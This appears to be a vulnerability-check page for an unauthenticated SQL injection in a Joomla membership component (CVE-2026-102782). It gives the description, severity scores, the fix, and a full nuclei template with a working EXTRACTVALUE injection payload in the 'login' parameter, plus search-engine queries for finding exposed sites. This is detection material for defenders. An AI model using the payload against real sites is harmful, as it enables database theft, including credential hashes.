OrdaSoft Simple Membership < 7.4.0 - SQL Injection

criticalseverity

9.3CVSS score

0.9%likelihood of exploitation, next 30 days

60%of all CVEs are less likely

Readycheck to confirm it

OrdaSoft Simple Membership (com_simplemembership) for Joomla before 7.4.0 is vulnerable to unauthenticated SQL injection via the 'login' parameter of the checkLoginPass task (site/simplemembership.php). The handler passes the value through Joomla's generic input filter, which strips HTML but leaves quotes and SQL syntax intact, and concatenates it directly into the SQL query with no escaping or parameter binding. Error-based injection via extractvalue() lets unauthenticated attackers exfiltrate database contents.

Impact

Unauthenticated attackers can read arbitrary database contents, including Joomla user credentials (usernames, emails, password hashes), session data and membership records, enabling further compromise of the site.

Fix

Update OrdaSoft Simple Membership to version 7.4.0 or later.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_simplemembership&task=checkLoginPass&format=raw&login='%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,'md5({{num}})',0x7e))--%2…
Positive when: contains "{{md5(num)}}"

Run it with nuclei: nuclei -id CVE-2026-102782 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-102782

info:
  name: OrdaSoft Simple Membership < 7.4.0 - SQL Injection
  author: HaroonArshad-53
  severity: critical
  description: |
    OrdaSoft Simple Membership (com_simplemembership) for Joomla before 7.4.0 is vulnerable to unauthenticated SQL injection via the 'login' parameter of the checkLoginPass task (site/simplemembership.php). The handler passes the value through Joomla's generic input filter, which strips HTML but leaves quotes and SQL syntax intact, and concatenates it directly into the SQL query with no escaping or parameter binding. Error-based injection via extractvalue() lets unauthenticated attackers exfiltrate database contents.
  impact: |
    Unauthenticated attackers can read arbitrary database contents, including Joomla user credentials (usernames, emails, password hashes), session data and membership records, enabling further compromise of the site.
  remediation: |
    Update OrdaSoft Simple Membership to version 7.4.0 or later.
  reference:
    - https://github.com/murrez/CVE-2026-102782
    - https://pocbit.org/pocs/cve-2026-102782
    - https://nvd.nist.gov/vuln/detail/CVE-2026-102782
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2026-102782
    epss-score: 0.00896
    epss-percentile: 0.59861
    cwe-id: CWE-89
  metadata:
    max-request: 1
    vendor: ordasoft
    product: simple_membership
    shodan-query: http.html:"com_simplemembership"
    fofa-query: body="com_simplemembership"
  tags: cve,cve2026,joomla,sqli

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_simplemembership&task=checkLoginPass&format=raw&login='%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,'md5({{num}})',0x7e))--%20-"

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"

References

Use this check only on systems you are authorised to test. Where the data comes from